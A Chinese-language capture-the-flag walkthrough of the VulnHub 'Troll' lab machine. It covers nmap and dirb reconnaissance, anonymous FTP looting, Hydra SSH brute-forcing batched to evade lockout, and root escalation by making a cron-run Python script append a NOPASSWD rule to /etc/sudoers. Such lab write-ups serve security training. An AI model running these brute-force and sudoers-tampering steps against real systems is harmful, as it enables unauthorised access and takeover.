CMing
- 关注

Troll打靶思路详解(vulnhub)
第一步:信息收集--主机发现和端口扫描
使用nmap快速对局域网进行扫描来确定靶机IP
nmap -sn 192.168.31.0/24
确定靶机IP为192.168.31.69
再次使用nmap对靶机IP进行详细扫描
nmap -p- -sV -sT -O 192.168.31.69
结果如下
可以看到靶机开放了21,22,80这3个端口
首先对80端口所开放的web服务进行信息收集
查看web服务访问http://192.168.31.69/
通过dirb进行目录扫描
dirb http://192.168.31.69/
结果如下
访问http://192.168.31.69/secret/index.html
感觉又被嘲讽了
然后对21端口所开放的ftp服务进行信息收集
通过ftp 192.168.31.69命令来访问
我尝试使用root用户进行登入结果如下
可以看到仅支持anonymous(匿名用户)进行登入
所以我们通过用户名为anonymous密码为空进行登入
然后通过ls命令来查看里面的内容
最后对22端口所开放的ssh服务进行信息收集
使用Hydra进行弱口令爆破
hydra -L user.txt -P CommonWebAdminPass.txt -t 2 -vV -e ns 192.168.31.69 ssh
通过结果发现短时间内只能尝试3个账号的登录
第二步:数据分析--对FTP中的数据包进行分析
首先我们将数据包文件下载下来
get lol.pcap
然后我们通过wireshark打开lol.pcap文件可以看出为ftp的传输报文
通过 strings lol.pcap 来搜索文件里所包含的字符串
重点为
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!
翻译:
好吧,好吧,好吧,你不就是一个聪明的小恶魔吗,你差点找到了 sup3rs3cr3tdirlol :-P
糟透了,你离得太近了......必须更加努力!
可以看到”sup3rs3cr3tdirlol :-P“是无法翻译的
第三步:WEB渗透--获取关于账号密码的信息
我们现在有ssh服务和web服务没有找到突破点,这个字符串不像用户名密码
所以我尝试访问http://192.168.31.69/sup3rs3cr3tdirlol
我们通过wget命令下载下来
wget http://192.168.31.69/sup3rs3cr3tdirlol/roflmao
还是通过strings命令来找文件中包含的字符串
strings roflmao
反复查看后感觉重点为
Find address 0x0856BF to proceed
翻译:
查找地址0x0856BF以继续
所以我们访问http://192.168.31.69/0x0856BF/
然后我们通过wget命令分别将其中内容下载下来
wget http://192.168.31.69/0x0856BF/good_luck/which_one_lol.txt
wget http://192.168.31.69/0x0856BF/this_folder_contains_the_password/Pass.txt
查看
第四步:后渗透--SSH登入与提权
ssh登入
刚刚我们信息收集已知短时间内只能尝试3个账号的登录
所以我们将用户名分为多个文件,每个文件分别有3个用户名
然后使用Hydra进行爆破
hydra -L user1.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh
hydra -L user2.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh
hydra -L user3.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh
hydra -L user4.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh
结果发现没有一个用户名能够使用密码“Good_job_:)”登录
可能Pass.txt文件名本身就是密码
因此我们再尝试用Pass.txt作为密码进行爆破
hydra -L user4.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh
可知账号为overflow 密码为Pass.txt
登入:ssh overflow@192.168.31.69
增加shell的交互性:python -c "import pty;pty.spawn('/bin/bash')"
提权
查看当前用户的权限:sudo -l
发现突然被踢出了会话,猜测是有定时任务
查看:cat /etc/crontab
权限不被允许,无法查看。那就使用find命令查找定时任务相关的日志cronlog
find / -name cronlog 2>/dev/null
找到了查看文件
cat /var/log/cronlog
关键信息来了!这里有一个定时任务,会每两分钟运行一个名为cleaner.py的文件。我们搜索cleaner.py文件
find / -name cleaner.py 2>/dev/null
找到了查看文件
cat /lib/log/cleaner.py
这个文件通过os.system函数执行系统命令,对目录/tmp的删除,那么我们只要把os.system()中的参数修改为:
echo "overflow ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
我们通过vim进行编辑更改,再通过”:wq!"保存退出
等待最多两分钟后,再次运行sudo -l,即可发现overflow的用户变为了最高权限:
然后运行sudo /bin/bash即可拿到root的bash:
进入/root目录拿flag:
至此完结,撒花。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)